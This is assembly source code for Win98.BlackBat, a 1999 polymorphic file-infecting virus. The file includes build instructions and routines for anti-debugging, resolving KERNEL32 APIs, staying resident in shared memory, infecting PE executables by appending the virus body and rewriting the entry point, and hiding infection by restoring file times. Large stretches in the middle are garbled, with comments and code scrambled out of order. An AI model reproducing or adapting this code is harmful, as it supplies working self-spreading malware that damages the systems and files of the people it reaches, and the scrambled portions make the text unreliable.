;+----------------------------------------------------------------------------+ ;| +------------------------------------------------------------------------+ | ;| | | | ;| | \|/ Win98.BlackBat \|/ | | ;| | (. .) ================ (. .

) | | ;| | ( | ) ( | ) | | ;| | ( v ) (c) 1999, Rohitab Batra ( v ) | | ;| | __| |__ <software@rohitab.com> __| |__ | | ;| | // \\ ICQ: 11153794 // \\ | | ;| | // ^ ^ \\ | | ;| | ((====> http://www.rohitab.com <=====)) | | ;| | | | ;| |"Blessed is he who expects nothing, for he shall not be disappointed" | | ;| | | | ;| +------------------------------------------------------------------------+ | ;+----------------------------------------------------------------------------+ ; ;Compiling (Turbo Assembler) ; c:\>tasm32 /ml /m3 /t /w2 /s /p /dDEBUG=1 BlackBat ; ;Setting DEBUG=0 will compile the virus in Release mode. In this mode, an error ;message will be displayed, so that you don't accidently compile in release mode. ;In Release mode, the size of the Virus will be smaller, and .EXE files will be ;infected, instead of .XYZ files. In Debug mode, the file NOTEPAD.EXE, if found ;in the current directory, will be infected. ; ;Linking (Turbo Linker) ; c:\>tlink32 /x /Tpe /aa /c BlackBat,BlackBat,,IMPORT32.LIB ; ;Making Code Section Writable (EditBin from SDK, or any other utility) ; c:\>editbin /SECTION:CODE,w BlackBat.EXE ; ;***** Info About the Virus ***** ;* If WIN.SYS is found in the root directory, the virus does not infect any file, ; and does not become resident. ;* File time and attributes are restored after infection ;* Encrypted with a random key ;* Doesn't infect anti-virus files, NAV, TBAV, SCAN, CLEAN, F-PROT ;* Anti-Debugging Code ;* Structured Exception Handling ;* Decryption engine is Polymorphic ; ;***** TODO ***** ;1. Dont infect files with todays date ;2. Draw Random Bats on the Screen (Use CreateCompatibleBitmap & Get/Set Pixel) ;3. Doesn't infect files in directories with long file names .386p .model flat ,stdcall ExitProcess:PROC EXTRN .data ;Required for TASM, Else will Crash !!?? DB ? ;+----------------------------------------------------------------------------+ ;| +------------------------------------------------------------------------+ | ;| | | | ;| | @MESSAGE_BOX Macro | | ;| | | | ;| +------------------------------------------------------------------------+ | ;+----------------------------------------------------------------------------+ ; Description ; -> Displays a MessageBox with the given Message. Note the caption of ; the MessageBox is the same as the Message ; ; Arguments ; -> szMessage: Message to be displayed ; ; Return Value: ; -> None ; ; Registers Destroyed ; -> ALL ;___________________________ @MESSAGE_BOX MACRO szMessage IF DEBUG @DELTA esi mov eax, esi add eax, offset szMessage call esi + MessageBoxA, 0, eax, eax, MB_OK OR MB_ICONINFORMATION

;Any Imported Fn, so that the first ;generation copy executes without crashing

ENDIF ENDM ;+----------------------------------------------------------------------------+ ;| +------------------------------------------------------------------------+ | ;| | | | ;| | @DEFINE_API Macro | | ;| | | | ;| +------------------------------------------------------------------------+ | ;+----------------------------------------------------------------------------+ ; Description ; -> Defines an API that will be called by the Virus. The macro is expanded ; to the following, if APIName is MessageBoxA: ; szMessageBoxA DB "MessageBoxA", 0 ; MessageBoxA DD ? ; ; Arguments ; -> APIName: API to be defined. MUST BE EXACTLY the same as exported by ; the DLL. e.g. MessageBoxA ; ; Return Value: ; -> None ; ; Registers Destroyed ; -> None ; ;________________________ @DEFINE_API MACRO APIName sz&APIName DB "&APIName", 0 ;;ASCIIZ Name of API &APIName ;;Storage space for API Address DD ? ENDM ;+----------------------------------------------------------------------------+ ;| +------------------------------------------------------------------------+ | ;| | | | ;| | @DELTA Macro | | ;| | | | ;| +------------------------------------------------------------------------+ | ;+----------------------------------------------------------------------------+ ; Description ; -> Returns the delta offset in the specified register ; ; Arguments ; -> Register: register in which the value of the delta offset is copied ; ; Return Value: ; -> Register: Delta Offset ; ; Registers Destroyed ; -> Register ; ;____________________ @DELTA MACRO Register GetIP LOCAL GetIP ;;This will push EIP on the stack call GetIP: Register ;;get EIP of current instruction pop Register, offset GetIP ;;Delta Offset sub ENDM ;+----------------------------------------------------------------------------+ ;| +------------------------------------------------------------------------+ | ;| | | | ;| | @OFFSET Macro | | ;| | | | ;| +------------------------------------------------------------------------+ | ;+----------------------------------------------------------------------------+ ; Description ; -> Returns the true offset of the specified address. Unlike the offset ; keyword, which calculates the address at assembly time, this macro ; calculates the address at run-time. This is used to get the correct ; offset when the virus has been relocated. Instead of using instructions ; like "mov esi, offset szFilename", use "@OFFSET esi, szFilename" ; ; Arguments ; -> Register: register in which the offset is to be returned ; -> Expression: expression whose offset is required ; ; Return Value: ; -> Register: Correct offset of Expression ; ; Registers Destroyed

Save API Address mov ENDM . -> ESI: Delta Offset .. and stores it . .| | | | .| +------------------------------------------------------------------------+ | . offset sz&APIName ebx. Arguments .+----------------------------------------------------------------------------+ . Registers Destroyed ... @TRY_EXCEPT and @TRY_END Exception Handling Macros | | . <CODE2: Gets executed if an exception occurs in CODE1> .offset GetIP . EBX and ECX . Return Value: . program .get EIP of current instruction pop Register. -> ECX: Base address of DLL which exports the API . Return Value: .Save Addr of GetProcAddress(. @TRY_CATCH ZeroMemory ..True offset add ENDM .) push ebx .| | | | . @TRY_EXCEPT: The code that follows this is executed if an exception . @TRY_BEGIN ZeroMemory . occurs. ecx.| | @TRY_BEGIN.Save Image Base push ecx mov add call pop pop eax. ._____________________________ @GET_API_ADDRESS MACRO APIName . The . . . Arguments . .| | @GET_API_ADDRESS Macro | | .| +------------------------------------------------------------------------+ | .GetProcAddress(. @TRY_END ZeroMemory . Example . eax ecx ebx .... -> Gets the address of the API.. -> Handler: Name of the exception handler.) [esi + APIName]. Expression GetIP LOCAL GetIP .) . . <CODE1: Code to check for exceptions goes here> . Description . -> All Except ESI. . offset Expression .Restore Image Base . -> None . .. the @TRY_BEGIN block.| +------------------------------------------------------------------------+ | .. otherwise._______________________ . exceptions .| +------------------------------------------------------------------------+ | .. Registers Destroyed ...This will push EIP on the stack call GetIP: Register . @TRY_END: This is used to mark the end of the TRY block .Restore Addr of GetProcAddress(... Description .+----------------------------------------------------------------------------+ . -> @TRY_BEGIN: This macro is used to install the exception handler. .| | | | . -> EBX: Address of GetProcAddress(.. no registers are modified . MUST BE UNIQUE throughout the . .+----------------------------------------------------------------------------+ . -> Register . code that follows this is the one that is checked for . -> APIName: API whose address is required . -> If an exception occurs. eax .) .+----------------------------------------------------------------------------+ ...| | | | . all registers are restored to the state before .API whose address is required .._________________________________ @OFFSET MACRO Register. -> None . esi eax.

Save Old Exception Handler ..@TRY_BEGIN MACRO Handler pushad @OFFSET esi.| | @CALL_INT21h Macro | | .Fail if not found . Handler push esi push dword ptr fs:[0] mov dword ptr fs:[0].ESP value before SEH was set.| | | | .Restore Old State @TRY_END MACRO Handler ExceptionHandled&Handler jmp NoException&Handler: pop dword ptr fs:[0] add esp. Read Only Write Only Deny Write Deny Read . Registers Destroyed . 4 bytes EQU NULL 0 EQU TRUE 1 EQU FALSE 0 EQU ....| +------------------------------------------------------------------------+ | .INT 21h Service mov eax.| | | | .. 32 + 4 ExceptionHandled&Handler: ENDM .4 for push offset Handler.+----------------------------------------------------------------------------+ . (No Restore State) . Description . ..+----------------------------------------------------------------------------+ .Section is Sharable EQU IMAGE_FILE_DLL 2000h ...| +------------------------------------------------------------------------+ | ..ESP value before SEH was set .Access Mode .No Exception Occured. VWIN32_Int21Dispatch.| | | | .Restore Old Exception Handler .| | | | ..Shutdown Options EWX_FORCE EQU EQU EQU EQU EQU EQU EQU EQU EQU 80000000h 40000000h 00000001h 00000002h -1 000000B7h 00000080h 3 4 .File is a DLL EQU FILE_MAP_ALL_ACCESS 000F001Fh EQU IMAGE_SIZEOF_NT_SIGNATURE 04h .| +------------------------------------------------------------------------+ | . .Exception Occured. Service @DELTA esi call esi + VxDCall. eax._________________________ @CALL_INT21h MACRO Service . Get old ESP . .| | Constants | | .Access Mode .. esp ENDM @TRY_EXCEPT jmp Handler: mov pop add popad ENDM MACRO Handler NoException&Handler esp. -> None . or no exception occured .Address of New Exception Handler . -> Depends on Service called . 4 .. -> Makes an INT 21h Call in Protected Mode .Open Share.Restore Old Exception Handler .Win32 Constants PAGE_READWRITE 00000004h EQU IMAGE_READ_WRITE_EXECUTE 0E0000000h EQU IMAGE_SCN_MEM_SHARED 10000000h . 32 for pushad and . .. .+----------------------------------------------------------------------------+ . -> Service: INT 21h Service Number .. so jump over .Exception has been handled. Arguments ...Install New Handler . ecx ENDM ..Save Current State .| +------------------------------------------------------------------------+ | ...File Access GENERIC_READ GENERIC_WRITE FILE_SHARE_READ FILE_SHARE_WRITE INVALID_HANDLE_VALUE ERROR_ALREADY_EXISTS FILE_ATTRIBUTE_NORMAL OPEN_EXISTING . Return Value: .+----------------------------------------------------------------------------+ .No Exception Occured .Open Share.PE00 = 0x00004550. [esp + 8] dword ptr fs:[0] esp.Exception was handled by @TRY_EXCEPT ...

Number of sections that follow headers .Initial SP value .Relocations . 5hrs .EXE header .Reserved words .Used for debugging information .Bytes on last page of file . 8 Dec 1975 .File address of relocation table .+----------------------------------------------------------------------------+ .EWX_SHUTDOWN .VxD Stuff VWIN32_Int21Dispatch 002A0010h EQU LFN_OPEN_FILE_EXTENDED 716Ch EQU PC_WRITEABLE 00020000h EQU PC_USER 00040000h EQU PR_SHARED 80060000h EQU PC_PRESENT 80000000h EQU PC_FIXED 00000008h EQU PD_ZEROINIT 00000001h EQU SHARED_MEMORY 80000000h . IDH_e_oemid specific .Used for debugging information .Value returned if Virus is resident .Initial IP value .Time we allow windows to run.| +------------------------------------------------------------------------+ | .Mostly 0x010B .sizof(IMAGE_OPTIONAL_HEADER) .Flags used mostly for libraries DW ? .File address of new exe header IMAGE_FILE_HEADER STRUC IFH_Machine IFH_NumberOfSections IFH_TimeDateStamp IFH_PointerToSymbolTable IFH_NumberOfSymbols IFH_SizeOfOptionalHeader IFH_Characteristics IMAGE_FILE_HEADER ENDS IMAGE_DATA_DIRECTORY STRUC IDD_VirtualAddress IDD_Size IMAGE_DATA_DIRECTORY ENDS IMAGE_OPTIONAL_HEADER STRUC .| +------------------------------------------------------------------------+ | .| | | | .Maximum extra paragraphs needed .Minimum extra paragraphs needed .Standard Fields IOH_Magic DD ? DD ? DW DW DD DD DD DW DW ? ? ? ? ? ? ? .System that the binary is intended to run on .MessageBox MB_OK MB_YESNO MB_ICONINFORMATION .Used to check if Virus is resident .OEM information.Magic number .Size of header in paragraphs .Reserved words .My B'day.Checksum .DOS .Initial (relative) CS value .Size of a Page in Win9x EQU .Overlay number .Virus_Constants @BREAK .+----------------------------------------------------------------------------+ FILETIME STRUC FT_dwLowDateTime ? DD FT_dwHighDateTime ? DD FILETIME ENDS IMAGE_DOS_HEADER STRUC IDH_e_magic DW IDH_e_cblp DW IDH_e_cp DW IDH_e_crlc DW IDH_e_cparhdr DW IDH_e_minalloc DW IDH_e_maxalloc DW IDH_e_ss DW IDH_e_sp DW IDH_e_csum DW IDH_e_ip DW IDH_e_cs DW IDH_e_lfarlc DW IDH_e_ovno DW IDH_e_res DW IDH_e_oemid DW IDH_e_oeminfo DW IDH_e_res2 DW IDH_e_lfanew DD IMAGE_DOS_HEADER ENDS ? ? ? ? ? ? ? ? ? ? ? ? ? ? 4 DUP (?) ? ? 10 DUP (?) ? .Pages in file .| | Structures | | .Time/Date the file was created on .| | | | .MAX_RUN_TIME VIRUS_SIGNATURE RESIDENCY_CHECK_SERVICE RESIDENCY_SUCCESS EQU EQU EQU EQU EQU EQU EQU EQU EQU 1 00000000h 00000004h 00000040h int 3 5*60*60*1000 08121975h 0AD75h 0812h .OEM identifier (for IDH_e_oeminfo) .Initial (relative) SS value .Anything above this is shared EQU PageReserve 00010000h EQU PageCommit 00010001h EQU PAGE_SIZE 4096 .

Size of bss Segment . PE hdr and Object table DD ? .Size of DOS hdr.OS Version required to run this image DW ? .RVA of export ordinals table entry .Mostly set to 0 DD ? .RVA of export name table pointers .| +------------------------------------------------------------------------+ | .Not generally used DD ? .Currently set to 0 .Flags to decide how section should be treated SYSTEMTIME STRUC ST_wYear DW ? ST_wMonth DW ? ST_wDayOfWeek DW ? ST_wDay DW ? ST_wHour DW ? ST_wMinute DW ? ST_wSecond DW ? ST_wMilliseconds DW ? SYSTEMTIME ENDS .| | Virus Entry Point | | .NULL padded ASCII string DD ? DD ? DD DD DD DD DD DW DW DD ? ? ? ? ? ? ? ? .Size of initially commited stack DD ? .Checksum (Used by NT to check drivers) DD ? .Offset from files beginning to sections data .Alignment of Sections in RAM DD ? .First valid exported ordinal .Alignment of Sections in File DD ? .RVA of export address table .Offset to executable code .Subsystem required to run this image DW ? .Amount to commit in local heap DD ? .IOH_MajorLinkerVersion IOH_MinorLinkerVersion IOH_SizeOfCode IOH_SizeOfInitializedData IOH_SizeOfUninitializedData IOH_AddressOfEntryPoint IOH_BaseOfCode IOH_BaseOfData .User specified version number DW ? .RVA of code entry point .Expected Subsystem version DW ? .Size of sections data rounded to FileAlignment .Number of valid entries in DataDirectory DD ? IMAGE_DATA_DIRECTORY 16 DUP (?) .| +------------------------------------------------------------------------+ | .+----------------------------------------------------------------------------+ .Size of Reserved Stack DD ? .Number of entries exported by name .OS Version required to run this image DW ? .Size of Data Segment .RVA to section's data when loaded in RAM .Size of local heap to reserve DD ? .Preferred load address DD ? .| | | | .Offset to initialized data .| | | | .Size that will be allocated when obj is loaded .Version of the linker used .Expected Subsystem version DW ? .RVA of DLL ASCIIZ name .User settable .Version of the linker used .User specified version number DW ? .Amount of memory the image will need DD ? .Time/Date the export data was created .NT Additional Fields IOH_ImageBase IOH_SectionAlignment IOH_FileAlignment IOH_MajorOperatingSystemVersion IOH_MinorOperatingSystemVersion IOH_MajorImageVersion IOH_MinorImageVersion IOH_MajorSubsystemVersion IOH_MinorSubsystemVersion IOH_Win32VersionValue IOH_SizeOfImage IOH_SizeOfHeaders IOH_CheckSum IOH_Subsystem IOH_DllCharacteristics IOH_SizeOfStackReserve IOH_SizeOfStackCommit IOH_SizeOfHeapReserve IOH_SizeOfHeapCommit IOH_LoaderFlags IOH_NumberOfRvaAndSizes IOH_DataDirectory IMAGE_OPTIONAL_HEADER ENDS IMAGE_EXPORT_DIRECTORY STRUC IED_Characteristics IED_TimeDateStamp IED_MajorVersion IED_MinorVersion IED_Name IED_Base IED_NumberOfFunctions IED_NumberOfNames IED_AddressOfFunctions IED_AddressOfNames IED_AddressOfNameOrdinals IMAGE_EXPORT_DIRECTORY ENDS IMAGE_SECTION_HEADER STRUC ISH_Name DB 8 DUP (?) UNION ISH_PhysicalAddress ISH_VirtualSize ENDS ISH_VirtualAddress ISH_SizeOfRawData ISH_PointerToRawData ISH_PointerToRelocations ISH_PointerToLinenumbers ISH_NumberOfRelocations ISH_NumberOfLinenumbers ISH_Characteristics IMAGE_SECTION_HEADER ENDS DD DD DW DW DD DD DD DD DD DD DD ? ? ? ? ? ? ? ? ? ? ? DB DB DD DD DD DD DD DD ? ? ? ? ? ? ? ? .To decide when to call DLL's entry point DW ? .Size of executable code .Number of entries .

xor byte ptr [esi].TXT".DEBUG Only Stuff IF DEBUG szHostFileName szWinMainHandler szPayLoad szInfected ENDIF DB DB DB DB "NOTEPAD. 0 .Pointer to mapped host file in memory .VxD Stuff OldInt30 VxDCall_Busy szOutputFile .code .Code from this point is encrypted EncryptedVirusCode: .Base address of KERNEL32. 0 "This File is Infected by the BlackBat Virus".Handle of host file .If this file exists.+----------------------------------------------------------------------------+ .GetDelta DB 0C6h DB DB offset EncryptedVirusCode .EXE"..| | | | .add esi.| +------------------------------------------------------------------------+ | .DLL Extention is not required DB "USER32".Decryptor StartOfVirusCode: GetDelta call GetDelta: 5Eh .Base address of USER32.Time the file was last written to . machine is not infected DB 6 DUP (0) .Time the file was last accessed .Handle of mapped host file .inc esi DB 49h .Exported by ordinal only (Ord 1) .+----------------------------------------------------------------------------+ dwKernelBase .USER32 API's @DEFINE_API ExitWindowsEx IF DEBUG @DEFINE_API MessageBoxA ENDIF .Semaphore DB ? DB "C:\VIRUS.+----------------------------------------------------------------------------+ . 0 DD ? GetProcAddress CloseHandle CreateFileA CreateFileMappingA GetFileAttributesA GetFileSize GetFileTime GetLocalTime GetTickCount LoadLibraryA MapViewOfFile SetFileAttributesA SetFileTime UnmapViewOfFile .offset GetDelta 0B9h .0 "Unhandled Exception in WinMain". 0 .Host File Variables hHostFile hMappedFile lpHostFile ftLastAccessTime ftLastWriteTime dwFileAttributes .Virus Variables szNoInfectFileName .dec ecx DB DecryptByte jnz .Goto Main Program jmp WinMain .pop esi DB 83h .mov ecx.| +------------------------------------------------------------------------+ | .| | Data Area | | . 0 . 0 "Happy BirthDay :-)".| | | | .DLL DD ? szUser32DLL .DLL EQU 0BFF70000h dwUserBase . 00h DB 36h DB EncryptionKey: 00h DB 46h ..SYS".File attributes of host file .KERNEL32 API's VxDCall @DEFINE_API @DEFINE_API @DEFINE_API @DEFINE_API @DEFINE_API @DEFINE_API @DEFINE_API @DEFINE_API @DEFINE_API @DEFINE_API @DEFINE_API @DEFINE_API @DEFINE_API @DEFINE_API DD ? DD ? DD ? FILETIME ? FILETIME ? DD ? DB "C:\WIN. ENCRYPTED_SIZE DB ENCRYPTED_SIZE DD DecryptByte: 80h . EncryptedVirusCode .

Putting code in protected block . 00 .Anti-Debug Code .virus (this copy). return to host . .| +------------------------------------------------------------------------+ | .Control will go to Relocated Copy jmp eax .this..Save Delta Offset .Error occured ? test eax.to the host. ebx call ENDIF .This part is the Relocated Copy of the Virus in Shared Memory RelocatedVirus: . eax InstallHookProcedure .Only for Release Versions IFE DEBUG cli .saved in EBX before jumping here. eax End_WinMain . @DELTA mov add sub eax esi.. eax End_WinMain . Now we calculate the offset in the relocated .instruction.Fix JMP instruction End_WinMain: @TRY_EXCEPT WinMain_Handler @MESSAGE_BOX szWinMainHandler @TRY_END WinMain_Handler ReturnToHost: DB 0E9h.+----------------------------------------------------------------------------+ .Yes. ebx .Jump to Relocated Virus Copy @OFFSET ebx. not esp . 00..Is this my machine call test eax.Virus Relocated? . 00. 00.| | WinMain | | .Yes..| | | | .in memory add sub call esi. StartOfVirusCode .Transfer control to host jz IF DEBUG @MESSAGE_BOX szInfected @OFFSET ebx.this JMP instruction will point to some invalid location.Virus Resident ? . the CALL instruction at label ReturnToHost is . We need to modify .Start of Virus in Non-Relocated Copy add eax.We now subtract this difference from the offset specified in the JMP .JMP instruction used for passing control . eax End_WinMain je .will crash if single-stepped not esp sti ENDIF @TRY_BEGIN WinMain_Handler IsVirusActive call test eax. szHostFileName InfectFile. The address of this JMP .+----------------------------------------------------------------------------+ WinMain PROC .Point to operand of JMP instruction .Difference in offsets . offset RelocatedVirus .replaced by a JMP XXXXXXXX instruction. offset StartOfVirusCode eax. so don't infect jz .Relocate Virus (Make Resident) RelocateVirus call or eax.Get the addresses of the other API's call . Since the virus has been relocated. offset ReturnToHost + 1 [esi].. so that the JMP points to the host program (which was not relocated) .| +------------------------------------------------------------------------+ | .Get Addresses of all Required API's GetAPIAddresses . eax eax. and update the JMP instruction to point to the correct location .No .. eax End_WinMain jne .| | | | .Check if this Machine is to be Infected CanMachineBeInfected .Start of Virus in Relocated Copy .When a file is infected.The offset of Calculate_Offset_Instruction in the non-relocated virus was .offset StartOfVirusCode .

| +------------------------------------------------------------------------+ | .Load USER32. -> Finds the Address of the API's to be used by the virus .ESI .| | | | . eax ecx...+----------------------------------------------------------------------------+ .Get .DLL ..+----------------------------------------------------------------------------+ .) .Restore address of GetProcAddress(.) = Image Base of USER32. -> EAX: 1.DLL mov ecx. -> All . esi eax.| +------------------------------------------------------------------------+ | ... -> None . dwKernelBase @GET_API_ADDRESS CloseHandle @GET_API_ADDRESS CreateFileA @GET_API_ADDRESS CreateFileMappingA @GET_API_ADDRESS GetFileAttributesA @GET_API_ADDRESS GetFileSize @GET_API_ADDRESS GetFileTime @GET_API_ADDRESS GetLocalTime @GET_API_ADDRESS GetTickCount @GET_API_ADDRESS LoadLibraryA @GET_API_ADDRESS MapViewOfFile @GET_API_ADDRESS SetFileAttributesA @GET_API_ADDRESS SetFileTime @GET_API_ADDRESS UnmapViewOfFile ..Found Address ? test eax.| | | | ...) = Image Base of KERNEL32. if the API addresses were found. Arguments .) .EBX . since control is transfered to host WinMain ENDP . Return Value: . . eax ebx addresses of all required USER32 API's = Delta Offset = Address of GetProcAddress(.DLL push ebx mov add call mov pop .ESI .| +------------------------------------------------------------------------+ | . .| | GetAddressOfKernelAPI | | .___________________ GetAPIAddresses PROC GetAddressOfKernelAPI..| | | | .No.EBX . offset szUser32DLL esi + LoadLibraryA.+----------------------------------------------------------------------------+ .DLL @DELTA esi .Save address of GetProcAddress(.. Return 0 jz .instruction is calculated at run-time .) mov ebx.Not required. eax . Description . Description . .| | | | .ECX eax. 1 .Base address of KERNEL32.| | GetAPIAddresses | | .ECX addresses of all required KERNEL32 API's = Delta Offset = Address of GetProcAddress(.Name of DLL to be loaded .Get .. 0 otherwise .Address of GetProcAddress(.Get Address Of GetProcAddress call .Delta Offset .DLL @GET_API_ADDRESS ExitWindowsEx IF DEBUG @GET_API_ADDRESS MessageBoxA ENDIF End_GetAPIAddresses: ret GetAPIAddresses ENDP .Base address of USER32.+----------------------------------------------------------------------------+ .ret .| +------------------------------------------------------------------------+ | . Registers Destroyed . eax End_GetAPIAddresses .

Get File Headers GetFileHeaders. the address . (IMAGE_EXPORT_DIRECTORY [ecx]). esi mov dword ptr [lpdwAddressOfNames]. dwKernelBase call test eax. eax inc eax sub eax. \ LOCAL lpdwAddressOfNames:DWORD. Registers Destroyed .IED_AddressOfFunctions .Have we reached the end-of-string .Get Address of VxDCall API (Ordinal 1) xor eax. \ lpwAddressOfNameOrdinals: WORD. edx mov mov esi. (IMAGE_EXPORT_DIRECTORY [ecx]). dwKernelBase . of GetProcAddress is returned. esi CheckNextAPI: inc ebx mov edi.Check which API is Required [gaoka_wAPIName].get address stored previously . -> EAX: Address of the Required API if Found. -> gaoka_wAPIName: If 0. .GetProcAddress .API to be found . ebx .Get Address of Functions mov ecx.Also save in EAX mov eax..Initialize Index to -1 dec ebx mov edx. [dwVAIED] mov eax. eax mov esi. The . dword ptr [edx + ebx*4] add edi.Get Address of Name ordinals mov ecx.VA of Address of Names add eax.Get Address of Names mov ecx.______________________________ GetAddressOfKernelAPI PROC gaoka_wAPIName:WORD lpdwAddressOfFunctions:DWORD. Return Value: .Save address in ECX . and the GetProcAddress is . eax . -> Finds the address of GetProcAddress or VxDCall API in KERNEL32. exported by name. . eax .Return Address of VxDCall or GetProcAddress ? . esi mov dword ptr [lpwAddressOfNameOrdinals].IED_Base GetAddressFromIndex jmp .increment index .byte did not match. eax End_GetAddressOfKernelAPI je [dwVAIED].Save the base address of KERNEL32 push esi . (IMAGE_EXPORT_DIRECTORY [ecx]). . . Arguments . Else NULL . -> EDX: offset of the program <---.VA of Add of Name Ordinals add eax. the address of VxDCall is Returned. probably Windows NT / 2000 . [dwVAIED] mov eax.NOT USED ANYMORE ??? . Else. \ dwVAIED:DWORD .get the VA from the RVA . dword ptr [lpdwAddressOfNames] @OFFSET esi. 0 FoundAPI je CheckNextByte jmp . [dwVAIED] mov eax. esi xor ebx.IED_AddressOfNames . VxDCall API is exported by ordinal only. . -> All .Successfully Retreived Headers? .DLL. Check Next One . ecx CheckNextByte: cmpsb CheckNextAPI jne cmp byte ptr [edi].No.Yes? We've found the API . (IMAGE_EXPORT_DIRECTORY [ecx]). 0 cmp GetProcAddressRequired jne . eax .No.Find the API index in the AddressOfNames array .go the the ebx'th index .Ordinal Reqd = 1 . Check the next byte . esi mov dword ptr [lpdwAddressOfFunctions].Check Byte .IED_AddressOfNameOrdinals .Index In Array GetProcAddressRequired: .VA of Address of functions add eax. szGetProcAddress mov ecx. Incorrect API.

Save File Attributes mov call esi + SetFileAttributesA. NULL. eax . or 0 . [esi + hHostFile]. file. oamf_dwAddBytes:DWORD @DELTA esi . 0. ebx. Save handle of host file mov .Save File Attributes. -> ECX: Original File Size . 0 [esi + lpHostFile]. OPEN_EXISTING. NULL . FILE_MAP_ALL_ACCESS. FILE_ATTRIBUTE_NORMAL . -> DWORD oamf_dwAddBytes: Number of bytes by which to increase the file size . and maps it into memory. Save Handle mov .Compute the Index mov ecx. eax . Description . INVALID_HANDLE_VALUE Error_OpenAndMapFile_Create . eax. and Clear all attributes call esi + GetFileAttributesA. -> EAX: Starting address of memory where the file has been mapped. The function also . eax.RVA of the API mov eax.Yes.+----------------------------------------------------------------------------+ . eax End_OpenAndMapFile . .No jz [esi + hMappedFile].FoundAPI: . NULL. .Get and Store File Time lea ebx. esi End_GetAddressOfKernelAPI: ret GetAddressOfKernelAPI ENDP .File Mapping Created test eax.No je [esi + hHostFile].Map View of the File call esi + MapViewOfFile. dword ptr [lpwAddressOfNameOrdinals] . word ptr [edx + ecx*2] .VA of the API add eax.Yes. eax. Return 0 je . oamf_szFileName.Map the file call esi + CreateFileMappingA. . [oamf_dwAddBytes] . ESI = Kernel32 Base) GetAddressFromIndex: mov ebx.| +------------------------------------------------------------------------+ | .+----------------------------------------------------------------------------+ .File Attributes Set ? test eax. \ 0. -> All . NULL. eax .Get the base address of KERNEL32 pop esi . \ FILE_SHARE_READ. Return Value: .| | | | .| +------------------------------------------------------------------------+ | . NULL .EBX contains the index of the function into the array .No. saves the file modified time and file attributes before opening the . [lpdwAddressOfFunctions] . -> DWORD oamf_szFileName: Pointer to ASCIIZ name of file to be mapped .| | | | . NULL . PAGE_READWRITE.Have to save Mapped Address mov . if an error occured ._______________________________________________________________ OpenAndMapFile PROC oamf_szFileName:DWORD. Arguments .Index movzx eax. ebx mov edx. Registers Destroyed .Compute New File Size add eax.Get the Address (EAX = Index. [esi + ftLastWriteTime] call esi + GetFileTime. GENERIC_READ OR GENERIC_WRITE. ecx . -> Opens a file from disk. These are later restored by UnmapAndCloseFile . dword ptr [ebx + eax*4] . eax Error_OpenAndMapFile_Mapping . oamf_szFileName. NULL. 0.Open the file in R/W mode call esi + CreateFileA.File Opened ? cmp eax.Compute the new file size call esi + GetFileSize. [esi + hHostFile]. eax . [esi + ftLastAccessTime] lea ecx.| | OpenAndMapFile | | . oamf_szFileName [esi + dwFileAttributes].

Arguments .Close the File . Close the File Error_OpenAndMapFile_Create: call esi + SetFileAttributesA. .| | | | .+----------------------------------------------------------------------------+ . \ LOCAL . -> All . -> None . -> EAX: 1 if Infected. It . Description . [esi + dwFileAttributes] ret UnmapAndCloseFile ENDP . [esi + hMappedFile] . . . [esi + dwFileAttributes] .Error Occured.+----------------------------------------------------------------------------+ . -> uacf_szFilename: Name of the file that is being unmapped.| +------------------------------------------------------------------------+ | . [esi + ftLastWriteTime] call esi + SetFileTime. -> DWORD if_dwIncSecSize: Size by which the file is 2B increased (Bytes) . [esi + hMappedFile] .Close File Mapping call esi + CloseHandle. Return 0 xor eax. Description . NULL.+----------------------------------------------------------------------------+ . uacf_szFilename. also restores the original file attributes and file time. -> Unmaps the open file and closes the handles associated with it. Close File Mapping Error_OpenAndMapFile_Mapping: call esi + CloseHandle. . [esi + lpHostFile] . [esi + hHostFile].Failed. Return Value: .Unmap File @DELTA esi .Failed. used only to restore the file attributes .Restore File Attributes call esi + SetFileAttributesA.Restore File Time lea eax.Close File call esi + CloseHandle. . -> Infects the host file with our virus . -> DWORD if_szFileName: Address of the file to be infected . eax End_OpenAndMapFile: ret OpenAndMapFile ENDP .| | InfectFile | | .| | | | .Error. This is .| | | | .File Mapped Successfully ? .| +------------------------------------------------------------------------+ | . Return Value: .| | UnmapAndCloseFile | | . . Registers Destroyed . Close Files. -> All . Registers Destroyed .test jnz eax.Unmap the File call esi + UnmapViewOfFile. [esi + hHostFile] . ebx .| +------------------------------------------------------------------------+ | . Arguments . eax. [esi + hHostFile] . oamf_szFileName. [esi + ftLastAccessTime] lea ebx.| | | | . ._____________________ UnmapAndCloseFile PROC uacf_szFilename:DWORD .Yes .| +------------------------------------------------------------------------+ | . -> DWORD if_dwIncFileSize: Size by which the section is 2B increased (Bytes) .__________________________________ InfectFile PROC if_szFileName:DWORD lpdwLastSection:DWORD. eax End_OpenAndMapFile . 0 on Error .+----------------------------------------------------------------------------+ . and Restore Attributes call esi + CloseHandle.

\ dwIOH:DWORD. [ebx + lpHostFile] mov ecx. [dwDeltaOffset] add edi. Fix Not Required jge .since StartOfVirusCode will vary after infection .Offset in File where operand to JMP instruction is to be put mov ebx. [esi + lpHostFile] . esi .RVA of New Entry Point in File mov . ecx ..Can it be infected test eax. . (IMAGE_SECTION_HEADER [ecx]).Calculate Bytes of JMP Instruction add eax. ebx add (IMAGE_SECTION_HEADER [eax]).Calculate RVA of New Entry Point mov ebx. .Save staring address of file mov .Correct offset in Memory Mapped File add ebx.ISH_VirtualSize.Save Increase in File Size mov [dwIncSecSize]. [dwDeltaOffset] . [dwJumpBytes] [ebx]. ebx .. (IMAGE_SECTION_HEADER [ecx]).. ecx add (IMAGE_SECTION_HEADER [eax]). (IMAGE_SECTION_HEADER [ebx]).Update the Last Section Header mov eax.offset StartOfVirusCode mov ebx. offset StartOfVirusCode add esi. [lpdwLastSection] sub eax.ISH_VirtualAddress [dwNewEntryRVA]..ISH_PointerToRawData add eax.ISH_VirtualSize.to here . VIRUS_SIZE rep movsb .dwVirusBegin:DWORD. ebx . or not CanFileBeInfected.ISH_PointerToRawData add eax.Calculate the Starting of Virus Code in File mov eax. \ dwDeltaOffset:DWORD @DELTA mov esi [dwDeltaOffset].Fix VirtualSize (if Required) for files like TRACERT.Save Delta Offset .This should not fail. [dwIOH] sub eax.Save Bytes mov . [dwIncFileSize] (IMAGE_SECTION_HEADER [eax]). IMAGE_READ_WRITE_EXECUTE or . offset ReturnToHost + 1 . \ dwIncSecSize:DWORD. (IMAGE_OPTIONAL_HEADER [ebx]).ISH_SizeOfRawData (IMAGE_SECTION_HEADER [eax]).Virtual Size Wrong cmp VirtualSizeFine . eax call [dwIOH].Copy Virus from Here. (IMAGE_SECTION_HEADER [ebx]). 